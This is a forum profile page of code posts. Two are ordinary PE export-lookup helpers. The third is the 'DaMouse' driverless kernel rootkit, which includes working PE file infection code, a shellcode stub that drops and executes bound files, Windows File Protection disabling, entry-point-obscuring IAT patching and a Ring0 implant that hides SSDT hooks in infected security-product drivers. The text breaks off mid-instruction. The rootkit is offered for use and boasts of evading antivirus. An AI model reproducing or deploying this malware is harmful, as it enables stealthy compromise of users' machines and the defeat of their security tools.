Jump to content

Nytro

Administrators
  • Posts

    18714
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. [C] CallAPIByName LPVOID GetProcAddressEx(HMODULE hModule, LPCSTR lpProcName) { DWORD dwModule = (DWORD)hModule; IMAGE_DOS_HEADER *Image_Dos_Header = (IMAGE_DOS_HEADER *)(dwModule); IMAGE_NT_HEADERS *Image_Nt_Headers = (IMAGE_NT_HEADERS *)(dwModule + Image_Dos_Header->e_lfanew); IMAGE_EXPORT_DIRECTORY *Image_Export_Directory = (IMAGE_EXPORT_DIRECTORY *)(dwModule + Image_Nt_Headers->OptionalHeader.DataDirectory->VirtualAddress); unsigned int nNumber; for (nNumber = 0; Image_Export_Directory->NumberOfNames; ++nNumber) { LPSTR lpAddressOfNames = ((*(LPSTR *)(Image_Export_Directory->AddressOfNames + dwModule + nNumber * sizeof(DWORD))) + dwModule); if (!lstrcmpA(lpProcName, lpAddressOfNames)) { USHORT Ordinal = (*(USHORT *)(Image_Export_Directory->AddressOfNameOrdinals + dwModule + nNumber * sizeof(USHORT))); return (LPINT)((DWORD)*(LPVOID *)(Image_Export_Directory->AddressOfFunctions + dwModule + Ordinal * sizeof(LPVOID)) + dwModule); } } return NULL; } LPVOID WINAPI Invoke(LPCWSTR lpModuleName, LPCSTR lpProcName, int count, ...) { HMODULE hModule; LPVOID lpProcAddress, lpResult = NULL; va_list list; void **args = (void **) HeapAlloc(GetProcessHeap(), 0, count); int x; if ((hModule = LoadLibrary(lpModuleName)) != 0) { if ((lpProcAddress = GetProcAddressEx(hModule,lpProcName)) != 0) { va_start(list,count); for (x = 0; x < count; x++) args[x] = va_arg(list, void *); for (x = count -1; x >= 0; x--) { int temp = x * 4; __asm { mov eax, dword ptr args add eax, temp push [eax] } } __asm { call lpProcAddress mov lpResult,eax } } } va_end(list); HeapFree(GetProcessHeap(), 0, args); FreeLibrary(hModule); return lpResult; } Example: Invoke(L"USER32.DLL", "MessageBoxW", 4, 0, L"Hello World", L"Info!", 0); Sursa: CallAPIByName [C]
  2. _GetProcAddress replacement Author: vernad (cred) This _GetProcAddress function supports api lookup in EAT by either name or hash. It also can look up exports in either loaded or non-loaded modules. There are two known issues: when looking up exports in unmapped module - it assumes that exports are in very first section. It could be fixed, but at the moment i have no need for that kind of functionality so i leave it to you for now. when exported func rva actually points string (example: in kernel32.dll x86 (on windows7 x64) EnterCriticalSection points to string 'NTDLL.RtlEnterCriticalSection') is not handled either. Once again had no need for supporting that. Also i do not include Hash::String() function, it returns 32bit integer. I leave implementing this to your imagination. It is not tested on x64, but probably would work. Now the good part: #define GET_PHYSICAL(RVA) ((size_t)hModule + RVA - pSectionHdrs[i].VirtualAddress + pSectionHdrs[i].PointerToRawData) #define GET_VIRTUAL(RVA) ((size_t)hModule + RVA) enum GET_PROC_TYPE { BY_HASH, BY_NAME }; void* _GetProcAddress( HANDLE hModule, size_t val, GET_PROC_TYPE type /*= BY_HASH*/, bool mapped /*= true*/ ) { if(!hModule) return 0; PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule; PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)((size_t)hModule + pDos->e_lfanew); char* bModule = (char*)hModule; PIMAGE_DATA_DIRECTORY pDataExpDir = &pNT->OptionalHeader.DataDirectory[0]; PIMAGE_SECTION_HEADER pSectionHdrs = (PIMAGE_SECTION_HEADER)&pNT[1]; for (int i = 0; i < pNT->FileHeader.NumberOfSections; i++) { if(pDataExpDir->VirtualAddress >= pSectionHdrs[i].VirtualAddress && pDataExpDir->VirtualAddress < pSectionHdrs[i].VirtualAddress + pSectionHdrs[i].Misc.VirtualSize) { PIMAGE_EXPORT_DIRECTORY pExpDir = mapped ? (PIMAGE_EXPORT_DIRECTORY)GET_VIRTUAL(pDataExpDir->VirtualAddress) : (PIMAGE_EXPORT_DIRECTORY)GET_PHYSICAL(pDataExpDir->VirtualAddress); DWORD* procs = mapped ? (PDWORD)GET_VIRTUAL(pExpDir->AddressOfFunctions) : (PDWORD)GET_PHYSICAL(pExpDir->AddressOfFunctions); DWORD* names = mapped ? (PDWORD)GET_VIRTUAL(pExpDir->AddressOfNames) : (PDWORD)GET_PHYSICAL(pExpDir->AddressOfNames); WORD* ordinals = mapped ? (PWORD)GET_VIRTUAL(pExpDir->AddressOfNameOrdinals) : (PWORD)GET_PHYSICAL(pExpDir->AddressOfNameOrdinals); for(DWORD j = 0; j < pExpDir->NumberOfNames; j++) { c8* pName = mapped ? (c8*)GET_VIRTUAL(names[j]) : (c8*)GET_PHYSICAL(names[j]); if( (type == BY_HASH && val == Hash::String(pName)) || (type == BY_NAME && !__strcmp(pName, (c8*)val))) { if(mapped) return (void*)GET_VIRTUAL(procs[ordinals[j]]); else { i = 0; // set i to code section in order for macros to work. not good, if export is not in the 1st section!!! size_t oft = procs[ordinals[j]] + pSectionHdrs[i].PointerToRawData - pSectionHdrs[i].VirtualAddress; return (void*)((size_t)hModule + oft); } } } } } return 0; } Sursa: _GetProcAddress
  3. Driverless Kernel Mode Rootkit Author: XOR [Rohitab] DaMouse is a driverless Ring0 rootkit concept project illustrating rootkit technology that once installed is very hard to find. Uses No Processes Creates No Files Creates No Threads Uses No Registry Keys There are no Drivers to hide Can be made to run even in safemode Installation method bypasses many protective tools It works by combining PE infection techniques with traditional rootit methods. This allows the code to become part of the operating system rather than just an addition of drivers to control operating system behaviour. The design of the kit allows the flexibility to choose how the code is integrated into existing drivers. It is your choice and requires your experimentation to see what will work. Get it right and it can be quite a stable method. With some work any existing rootkit method can be adopted to work with DaMouse. All that is required is an understanding assembler to port the existing rootkit code into a piece of kernel mode portable code or what I term in this project as an Implant. The Implants can be complex as you like it is entirely up to you. The Implants provided show the structure required to operate in kernel mode with good system stability given that certain requirements are met by you. There are many problems that could occur because it is very generic and also quite experimental, but experimentation should reveal these in short order. I have not done too much my self yet. It has excellent stealth characteristics and can defeat pretty much all AntiRootkit detection software available today and Implants are provided to demonstate this. It has also bypassed some Internet Security Suites and HIPS quite easily. The installer itself was not detected by any antivirus tools (VirusTotal), excepting some which required the noisy WFP method and Ring3 downloader shellcode removed first before compiling (AntiVir). With targeted rootkits now becoming more common methods of assaulting the victim in conjunction with pre-day exploits, it shows that a good HIPS system is needed for protection. Other Features This code can bind files to DLLs, the binded file will be dropped and run when the API selected during binding is called. A nice toy. This code will also peform regular file binding, using PE infection methods. You can bind as many files you like with the regular entry point method, on execuion they will all be dropped and executed one after the other. It also has the option of binding with EPO technique Naturally shellcode implants can be placed into DLLs or exe's to permanently alter their logic. eg an implant in kernel32.dll automatically means your code by default is loaded by just about every process The class is very easy to use an there are plenty of examples to show you how its implemented and used I was working on a Kernel mode packet sniffer but I don't think I'll finish that one now The code that does most of the work char* szAPIname, char* szLIBname) { WFPManager WFPMan; m_szEPOAPIname = szAPIname; m_szEPOLIBname = szLIBname; m_szOriginalFile = szFileName; bool isProtected = false; if(WFPMan.SFCCheck(m_szOriginalFile)) { isProtected = true; if(isWFPDisableViaInject) { if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName)) m_isImageOpen = true; //image is running or locked so make a copy and infect that } else m_isImageOpen = true; //quiet method must always work with a copy first } else { if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName)) m_isImageOpen = true; } if(m_isImageOpen) { char szTempFileName [] = "fReplace.exe"; GetTempPath(MAX_PATH, m_szTempFile); CopyFile(szFileName, strcat(m_szTempFile, szTempFileName),false); if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, m_szTempFile)) return false; szFileName = m_szTempFile; } if(CheckFileAndGetHeaders()) { if(isProtected) { if(isWFPDisableViaInject) { if(!WFPMan.SFCDisableWatcherThreadTemp()) {//enable to use immediate WFP disabling for all files ClosePEFile(); return false; } } else { if(!WFPMan.SFCDisableForFilePermanent(m_szOriginalFile)) {//quiet WFP disabling ClosePEFile(); return false; } } return true; } return true; } return false; //was not a PE file. } bool PEFile::OpenFileAndMapIt(HANDLE &hFile, HANDLE &hMapping, LPVOID &lpBaseAddress, DWORD dwMapSize, char* szFileName) { if(szFileName != NULL) { hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if(hFile == INVALID_HANDLE_VALUE) return false; } hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwMapSize, NULL); if(!hMapping) { CloseHandle(hFile); return false; } lpBaseAddress = MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwMapSize); if(!lpBaseAddress) { CloseHandle(hMapping); CloseHandle(hFile); return false; } return true; } bool PEFile::CheckFileAndGetHeaders() { try { m_pDOSheader = (IMAGE_DOS_HEADER*)m_lpBaseAddress; if(m_pDOSheader->e_magic != IMAGE_DOS_SIGNATURE) { ClosePEFile(); return false; } m_pNTheaders = (IMAGE_NT_HEADERS*)(m_pDOSheader->e_lfanew + (DWORD)m_lpBaseAddress); if(m_pNTheaders->Signature != IMAGE_NT_SIGNATURE) { ClosePEFile(); return false; } m_pSectionheader = (IMAGE_SECTION_HEADER*)(m_pDOSheader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (DWORD)m_lpBaseAddress); return true; } catch(...) { return false; } } bool PEFile::ImplantToLastSection(DWORD dwSize, char* szCodeToImplant, char* szExeStub) { try { RemapFile(dwSize); //remap the file to implant to include either file or implant code size m_pSectionheader += (m_pNTheaders->FileHeader.NumberOfSections - 1); //start of last section m_pSectionheader->Characteristics |= 0xA0000020; //change section characteristics DWORD dwWriteAddr = (m_pSectionheader->PointerToRawData + m_pSectionheader->SizeOfRawData); //offset to write code in host DWORD dwAlignSize = ((dwSize - m_nFilePadding) + m_pSectionheader->SizeOfRawData); dwAlignSize += (m_pNTheaders->OptionalHeader.FileAlignment - (dwAlignSize % m_pNTheaders->OptionalHeader.FileAlignment)); //work out file alignment m_pSectionheader->SizeOfRawData = dwAlignSize; m_pSectionheader->Misc.VirtualSize = dwAlignSize; m_pNTheaders->OptionalHeader.SizeOfImage = m_pSectionheader->VirtualAddress + dwAlignSize; char* szWriteMap = (char*)(dwWriteAddr + (DWORD)m_lpBaseAddress); //make a ptr to write point in host file DWORD i; if(NULL != szExeStub) { for (i = 0; i < m_nStubLen; i++) szWriteMap[i] = szExeStub[i]; for (DWORD j = m_nStubLen; j < (dwSize - m_nFilePadding) + m_nStubLen; j++) szWriteMap[j] = szCodeToImplant[j - m_nStubLen]; }else { for (i = 0; i < dwSize; i++) szWriteMap[i] = szCodeToImplant[i]; } CalculateNewChecksum(); return true; } catch(...) { return false; } } bool PEFile::ImplantFile(char* szBindFileNameAndPath, char* szDroppedFileNameAndPath, bool isHardcodedDropStub, bool isRelocatable) { HANDLE hFileImplant; HANDLE hMappingImplant; LPVOID lpBaseAddressImplant; m_isRelocatable = isRelocatable; if(!OpenFileAndMapIt(hFileImplant, hMappingImplant, lpBaseAddressImplant, 0, szBindFileNameAndPath)) { m_isImageOpen = false; return false; } SaveEntryPoints(); //select executing stub type for file implant m_szExeStub = (isHardcodedDropStub) ? (ExecuteImplantFileHardcoded(GetFileSize(hFileImplant, NULL), szDroppedFileNameAndPath)) : (ExecuteImplantFileDynamic(GetFileSize(hFileImplant, NULL), szDroppedFileNameAndPath)); ImplantToLastSection(GetFileSize(hFileImplant, NULL) + (m_nFilePadding = PADDING_SIZE), (char*) lpBaseAddressImplant, m_szExeStub); UnmapViewOfFile(lpBaseAddressImplant); CloseHandle(hMappingImplant); CloseHandle(hFileImplant); return true; } void PEFile::CalculateNewChecksum() { DWORD dwHeaderSum; DWORD dwCheckSum; m_pNTheaders = CheckSumMappedFile(m_lpBaseAddress, GetFileSize(m_hFile, NULL), &dwHeaderSum, &dwCheckSum); if(dwHeaderSum) //save chksum only for files with existing chksum m_pNTheaders->OptionalHeader.CheckSum = dwCheckSum; } void PEFile::ClosePEFile() { UnmapViewOfFile(m_lpBaseAddress); CloseHandle(m_hMapping); CloseHandle(m_hFile); if(m_isImageOpen) //if it was a copy that we infected overwrite the original at reboot now MoveFileEx(m_szTempFile, m_szOriginalFile, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING); } char* PEFile::ExecuteImplantFileDynamic(DWORD dwSize,char* szDroppedFileNameAndPath) //use when function addresses are not known for target at the time of execution { //this code can be found in the file dynastub.asm char szRawDynStub[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5d\x81\xed\x0b\x10\x40\x00\x89\xa5\x76\x11\x40\x00" "\x83\xec\x60\x83\xbd\xd4\x11\x40\x00\x00\x74\x0a\x8b\x85\xd4\x11\x40\x00\xff\x30" "\xeb\x06\xff\xb5\xd8\x11\x40\x00\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c" "\xad\x8b\x40\x08\x89\x85\x90\x11\x40\x00\xb9\x04\x00\x00\x00\x8d\xb5\xac\x11\x40" "\x00\x8d\xbd\xc0\x11\x40\x00\xe8\x95\x00\x00\x00\x8d\x85\x94\x11\x40\x00\x50\xff" "\x95\xcc\x11\x40\x00\xb9\x01\x00\x00\x00\x8d\xb5\xa4\x11\x40\x00\x8d\xbd\xa8\x11" "\x40\x00\xe8\x72\x00\x00\x00\x33\xc0\x50\x50\x40\x40\x50\x48\x48\x50\x40\x50\x68" "\x00\x00\x00\xc0\x8d\xb5\xe4\x11\x40\x00\x56\xff\x95\xc4\x11\x40\x00\x89\x85\xa0" "\x11\x40\x00\x6a\x00\x8d\xb5\xd0\x11\x40\x00\x56\x8b\xb5\xe0\x11\x40\x00\x56\x8b" "\xb5\xdc\x11\x40\x00\x56\x50\xff\x95\xc8\x11\x40\x00\xff\xb5\xa0\x11\x40\x00\xff" "\x95\xc0\x11\x40\x00\x6a\x0a\x33\xc0\x50\x50\x8d\x9d\xe4\x11\x40\x00\x53\x50\x50" "\xff\x95\xa8\x11\x40\x00\x8b\xa5\x76\x11\x40\x00\x9d\x61\xff\xa4\x24\x78\xff\xff" "\xff\x51\x56\x57\x51\x50\x03\x40\x3c\x50\x8b\x50\x78\x03\x54\x24\x04\x8b\x72\x20" "\x03\x74\x24\x04\x33\xc0\x8b\xc8\x8b\xf8\x56\x33\xc0\x8b\xf8\x41\x8b\x5c\x24\x08" "\x03\x1e\x8b\xf3\xe8\x55\x00\x00\x00\x83\x04\x24\x04\x8b\x34\x24\x8b\x5c\x24\x14" "\x8b\x44\x24\x0c\x3b\x3c\x83\x74\x07\x85\xc0\x74\x2e\x48\xeb\xf4\x8b\xd8\x8b\x42" "\x24\x03\x44\x24\x08\x51\x0f\xb7\x0c\x48\x2b\x4a\x10\x8b\x42\x1c\x03\x44\x24\x0c" "\x8b\x04\x88\x59\x03\x44\x24\x08\x8b\x7c\x24\x10\x89\x04\x9f\xff\x4c\x24\x18\x83" "\x7c\x24\x18\x00\x75\xa1\x83\xc4\x1c\xc3\x00\x00\x00\x00\xac\x84\xc0\x74\x07\xc1" "\xcf\x0d\x03\xf8\xeb\xf4\x3b\xbd\xa4\x11\x40\x00\x75\x01\x41\xc3\x00\x00\x00\x00" "\x73\x68\x65\x6c\x6c\x33\x32\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\x5e\xbb\xe1\x1b" "\x00\x00\x00\x00\xfb\x97\xfd\x0f\xa5\x17\x00\x7c\x1f\x79\x0a\xe8\x8e\x4e\x0e\xec"; int nStublen = sizeof(szRawDynStub) + strlen(szDroppedFileNameAndPath) + VAR_BUFFSIZE + PTR_OFFSET; // add dword ptr to front of code and size of total variables DWORD dwFileAddr = m_dwImplantEntryPoint + nStublen; char* szDynStub = new char[nStublen]; //add size of filename and path m_nStubLen = nStublen; int nFileNamePos = nStublen - strlen(szDroppedFileNameAndPath); szDynStub[nStublen - 1] = ''; while (nStublen-- > nFileNamePos) //write in the filename szDynStub[nStublen - 1] = szDroppedFileNameAndPath[nStublen - nFileNamePos]; DWORD dwExecInfo[4] = { {dwSize}, {dwFileAddr}, {m_dwOldEntryPoint}, {m_dwIATaddress} }, *dwExec = dwExecInfo; for(int i = 4; i >= 0; i--, dwExec++) { *(PDWORD)&szDynStub[nStublen - DW_SIZE] = *dwExec; //write in initialized array nStublen -= DW_SIZE; } while(nStublen-- > PTR_OFFSET) szDynStub[nStublen] = szRawDynStub[nStublen - DW_SIZE]; //write in the code *(PDWORD)&szDynStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub return szDynStub; } char* PEFile::ExecuteImplantFileHardcoded(DWORD dwSize,char* szDroppedFileNameAndPath) //smaller, faster but OS dependant code { //could be done with the INJDATA technique but I used some inline asm //In the end I decided to use masm as it was more flexible than the inline assembler //so with the dynamic code I just made it into shellcode instead and tacked on anything needing //to be initialized at run time at the end and front of the shellcode. HMODULE hShellLib; HMODULE hLib = LoadLibrary("kernel32"); DWORD dwExecInfo[8] = //initialize an array of function addresses and other data needed by the stub { {dwSize}, {(DWORD)GetProcAddress(hLib, "WriteFile")}, {(DWORD)GetProcAddress(hLib, "CreateFileA")}, {(DWORD)GetProcAddress(hLib, "CloseHandle")}, {(DWORD)GetProcAddress((hShellLib = LoadLibrary("shell32.dll")), "ShellExecuteA")}, {0}, //dwFileAddress here {m_dwOldEntryPoint}, //continue adddress for normal entry point {m_dwIATaddress} //epo address here }, *dwExec = dwExecInfo; FreeLibrary(hLib); FreeLibrary(hShellLib); __asm/// { call GetBP //dword ptr to the asm code will be here start: pushad pushfd call getbp2 getbp2: pop ebp sub ebp, offset getbp2 mov [ebp + SaveESP], esp sub esp, 0x60 cmp [ebp + IATcontinueaddr], 0 je NormalExit mov eax, [ebp + IATcontinueaddr] push dword ptr[eax] jmp ShellExe NormalExit: push [ebp+jmpcontinueaddr] ShellExe: xor eax, eax push eax push eax inc eax inc eax push eax dec eax dec eax push eax inc eax push eax push 0xC0000000 lea esi, [ebp + filename] push esi call dword ptr[ebp + aCreateFileA] push 0x0 lea esi, [ebp + bytewbuf] push esi mov esi, [ebp + filesize] push esi mov esi, [ebp + filestartaddress] push esi push eax call dword ptr[ebp + aWriteFile] mov ebx, [esp - 0x14] push ebx call dword ptr[ebp + aCloseHandle] push SW_SHOWDEFAULT xor eax, eax push eax push eax lea ebx, [ebp + filename] push ebx push eax push eax call dword ptr[ebp + aShellExecuteA] // RestoreAndExit mov esp, [ebp + SaveESP] popfd popad jmp dword ptr[esp - 0x88] SaveESP: dd bytewbuf: //these labels are referenced in the code by the compiler dd //_emit 0x0...etc = DWORD filesize: dd aWriteFile: dd aCreateFileA: dd aCloseHandle: dd aShellExecuteA: dd filestartaddress: dd jmpcontinueaddr: dd IATcontinueaddr: dd filename: GetBP: pop eax mov g_dwEIP, eax mov eax, offset filename mov ecx, offset start sub eax, ecx mov g_dwStubSize, eax }; g_dwStubSize += PTR_OFFSET; //add dword ptr address to front off code g_dwEIP -= PTR_OFFSET; //move eip to account for dword ptr int nStrl = g_dwStubSize + strlen(szDroppedFileNameAndPath) + 1; dwExec[5] = m_dwImplantEntryPoint + (DWORD)nStrl; char* pszStub = new char[nStrl]; m_nStubLen = nStrl; while ((DWORD) nStrl-- > g_dwStubSize) pszStub[nStrl] = szDroppedFileNameAndPath[nStrl - g_dwStubSize]; dwExec += EXINFO_SIZE; for(int i = EXINFO_SIZE; i >= 0; i--, dwExec--) { *(PDWORD)&pszStub[g_dwStubSize - DW_SIZE] = *dwExec; g_dwStubSize -= DW_SIZE; } while(g_dwStubSize-- > PTR_OFFSET) pszStub[g_dwStubSize] = ((char*)g_dwEIP)[g_dwStubSize]; *(PDWORD)&pszStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub return pszStub; } void PEFile::SaveEntryPoints() //for implant to last section only { try { m_dwImplantEntryPoint = (m_pSectionheader + (m_pNTheaders->FileHeader.NumberOfSections - 1))->VirtualAddress + (m_pSectionheader + m_pNTheaders->FileHeader.NumberOfSections - 1)->SizeOfRawData + m_pNTheaders->OptionalHeader.ImageBase; DWORD dwNewEntryPoint = m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase; m_dwOldEntryPoint = m_pNTheaders->OptionalHeader.AddressOfEntryPoint + m_pNTheaders->OptionalHeader.ImageBase; if(m_szEPOAPIname && m_szEPOLIBname != NULL) { EPOstart EPO; m_dwIATaddress = EPO.PatchDwordPtr(m_szEPOAPIname, m_szEPOLIBname, m_dwImplantEntryPoint, m_pDOSheader, m_pNTheaders, m_pSectionheader, m_isRelocatable); } else { m_pNTheaders->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint + PTR_OFFSET; } } catch(...) { return; } } bool PEFile::ImplantCode(char* szCodeToImplant, DWORD dwCodeSize, bool isRelocatable) { m_nFilePadding = PADDING_SIZE; m_isRelocatable = isRelocatable; SaveEntryPoints(); //if implant is Ring0 EPO object returns a function hash not iataddress DWORD dwSelectedEP = (m_dwIATaddress) ? m_dwIATaddress : m_dwOldEntryPoint; *(PDWORD)&szCodeToImplant[0] = (m_dwImplantEntryPoint + PTR_OFFSET); for(int i = 4; i >= 0; --i, --dwCodeSize) szCodeToImplant[dwCodeSize - 1] = ((char*)&dwSelectedEP)[i]; ImplantToLastSection(dwCodeSize + PADDING_SIZE, szCodeToImplant); if(m_isRelocatable) { m_pSectionheader->Characteristics |= IMAGE_SCN_MEM_NOT_PAGED; //don't let implant code get paged out leading to BSOD m_pSectionheader->Characteristics ^= IMAGE_SCN_MEM_DISCARDABLE; //don't discard our code either PIMAGE_BASE_RELOCATION pImageReloc = (PIMAGE_BASE_RELOCATION)(m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + (DWORD) m_lpBaseAddress); PDWORD dwRelocEntryAddr = (PDWORD)((DWORD)pImageReloc + (DWORD)m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); DWORD dwBaseRelIndex = (m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase) & 0xFFFFF000; *dwRelocEntryAddr++ = dwBaseRelIndex; WORD wReloc = (WORD)((m_dwImplantEntryPoint &= 0x0FFF) |= (IMAGE_REL_BASED_HIGHLOW << 0xC)); //make value for base reloc entry *dwRelocEntryAddr++ = 0xA; *(WORD*)&dwRelocEntryAddr[0] = wReloc; m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += 0xA; //add base reloc fixup for our ptr to implant CalculateNewChecksum(); } return true; } bool PEFile::RemapFile(DWORD dwNewMapSize) { UnmapViewOfFile(m_lpBaseAddress); CloseHandle(m_hMapping); if (!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, (GetFileSize(m_hFile, NULL) + dwNewMapSize))) //map file plus code need to make generic code return false; if (!CheckFileAndGetHeaders()) //sanity check-make sure everything is correct after remapping return false; return true; } EPO implementation: #include "filemanagement.h" DWORD g_dwHash; DWORD EPOstart::PatchDwordPtr(char* szApiName, char* szLibName, DWORD dwImplantAddress, PIMAGE_DOS_HEADER pDOSheader, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSectionheader, bool isRelocatable) { DWORD dwIATaddress; PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) (GetRawOffset((DWORD)(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress), pSectionheader, pNtHeaders) + (DWORD)pDOSheader); while (pImportDescriptor->Name) { if (!stricmp (szLibName, (char*)(GetRawOffset((DWORD)pImportDescriptor->Name, pSectionheader, pNtHeaders) + (DWORD)pDOSheader))) //import lib name break; pImportDescriptor++; } if (!pImportDescriptor->Name) return 0; PIMAGE_THUNK_DATA pThunkData = (PIMAGE_THUNK_DATA) (GetRawOffset((DWORD)pImportDescriptor->OriginalFirstThunk, pSectionheader, pNtHeaders) + (DWORD)pDOSheader); DWORD dwFuncAdd = (DWORD)pImportDescriptor->FirstThunk; while (pThunkData->u1.Function) { char* szName = (char*)(GetRawOffset((DWORD)((PBYTE)pThunkData->u1.AddressOfData->Name), pSectionheader, pNtHeaders) + (DWORD)pDOSheader); if (!strcmp (szApiName, szName)) {//function name if(PDWORD dwPtrAddr = FindDwordPtr(dwIATaddress = (DWORD)pNtHeaders->OptionalHeader.ImageBase + dwFuncAdd, (PDWORD)((DWORD)pSectionheader->PointerToRawData + (DWORD)pDOSheader), (DWORD)pNtHeaders->OptionalHeader.SizeOfImage - pSectionheader->PointerToRawData)) { DWORD dwJmpVA = m_dwPtrOffset + (DWORD)pSectionheader->VirtualAddress + (DWORD)pNtHeaders->OptionalHeader.ImageBase; if (isRelocatable) {//ring0 will return hash of function name for implant to resolve //ring3 will return IATaddress DWORD dwHash = MakeApiNameHash(szApiName); *(PDWORD)&((char*)dwPtrAddr)[2] = dwImplantAddress; //patch the ptr address to our code return dwHash; } *(PDWORD)&((char*)dwPtrAddr)[2] = dwImplantAddress; return dwIATaddress; } return 0; } pThunkData++; dwFuncAdd += 4; } return 0; } DWORD EPOstart::GetRawOffset(DWORD dwImpDescRVA, PIMAGE_SECTION_HEADER pSectionheader, PIMAGE_NT_HEADERS pNtHeaders) { for(int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { if((pSectionheader->VirtualAddress) && (dwImpDescRVA <= pSectionheader->VirtualAddress + pSectionheader->SizeOfRawData)) return(dwImpDescRVA + pSectionheader->PointerToRawData - pSectionheader->VirtualAddress); pSectionheader++; } return 0; } DWORD EPOstart::MakeApiNameHash(char* szApiName) { __asm{/// mov esi, szApiName xor eax, eax mov edi, eax GenerateHash: lodsb test al, al jz Hashed ror edi, 0xd add edi, eax jmp GenerateHash Hashed: mov g_dwHash, edi }; return g_dwHash; } //look for FF25 or FF15 byte sequences and if found check if an address //that may follow points to the IAT entry of our API PDWORD EPOstart::FindDwordPtr(DWORD dwIATentry, PDWORD dwStart, DWORD dwSize) { for(DWORD i = 0; i < dwSize; i++) { if(0x25FF == *(PWORD)&((char*)dwStart)[i]) { if(dwIATentry == *(PDWORD)&((char*)dwStart)[i + 2]) { m_dwPtrOffset = i; return (PDWORD)(i + (DWORD)dwStart); //return mapped address of dword ptr jmp } }else if(0x15FF == *(PWORD)&((char*)dwStart)[i]) { if(dwIATentry == *(PDWORD)&((char*)dwStart)[i + 2]) { m_dwPtrOffset = i; return (PDWORD)(i + (DWORD)dwStart); //return mapped address of dword ptr call } } } return 0; //no jmp/call dword ptr address matched } Example of Ring0 code implant: .486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include resolver.inc ;RootKit Detector Evasion Method 2. ::Blame it on the security application:: ;Installs a SSDT hook from an infected security application driver like an antivirus, firewall or ;HIPs. What this does is it obscures our tap into the kernel by making people think that it ;belongs to their security program. This illustrates one major flaw in rootkit detectors:: Which ;is it is relatively easy to find hooks and patches, but to identify what they do and if they are ;legit or bad is beyond most people to tell. Even a pro will have to examine the code if they ;even suspect anything. I mean no one is going to bat an eyelid if they find an SSDT hook that ;belongs to there firewall or something. So this could be hidden for a long time. ;The responsibilty for determining what driver to infect will be with the loader code ;as this is just a concept code I will only be hardcoding in the driver name I want to infect ;***This code should be Service Pack Independant ;With a SSDT hook we can filter before the call is made to the kernel function or we can call ;the kernel function from our hook and when it returns we can filter what it returns, then ;return to the original caller the filtered return data ;NOTES::>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;1.The first empty DWORD after Start: will be filled with the hash of the API name to eventually ; called Our implant will then resolve the API address from the hash and call it when it exits. ; It is the job of the installer (DaMouse) to generate the hash and a.) Place the function hash ; at the front of this code (after it has been converted to shellcode). b.) Implant this code in ; shellcode format into the driver at the point where the hashed function would have been called ;2.There is a public member of the EPOstart class that allows you to get API function name hashes. ; These hashes can be placed where shown near the end of the file and increment the function ; resolution counter by the number of hashes to be resolved ;3.Can be assembled with just Masm no need for the kmdkit ;4.You will need to experiment with which APIs to use for the implant call dword ptr patch ; some APIs will be called many times, others not at all. Usually pick one that is called once. ; Unless you wish to use the implant to analyze a particular API call within the driver ;5.It is very experimental and just a prototype really so expect lots of crashes etc ; and strange behaviour, please test in VMs. ;6.***Do not Implant in functions that run at higher IRQL than PASSIVE_LEVEL*** ;>>>>>>>>>>>>>>>>>>>>>>>>>>>> USE ONLY APIs exported by ntoskrnl<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< .code Start: dd 0cccccccch;<--------------------------Start marker DO NOT INCLUDE THIS DWORD IN SHELLCODE!! dd 0h;<----------------------------------------ptr to this implanted code will be patched here nop SaveContextAndGetBP GetNTOSKRNLImageBase: GetNtoskrnlBase cmp [ebp+ResolutionNeeded], 0 jne ResolvingDone ResolveFunction: mov ecx, 1h;<------------------resolve function address from API name hash of patched API call lea esi, [ebp+PatchedFunctionHash] lea edi, [ebp+PatchedFunctionAddr] call StartAPIResolution mov ecx, FunctionResolutionCounter;<---------resolve addrs of APIs we are using in our implant lea esi, [ebp+NTOSKRNLHashes] lea edi, [ebp+NTOSKRNLFunctionAddresses] call StartAPIResolution ResolvingDone: mov [ebp+ResolutionNeeded], 1 DaCode:;<------------------------everything is setup now we can run our rootkit functionality code mov ecx, [ebp+aZwOpenProcess];<------------------Get the SystemServiceNumber from the function mov ecx, [ecx+1];<--so would be mov eax, 7ah or B87A000000h so we need function offset +1 byte mov eax, 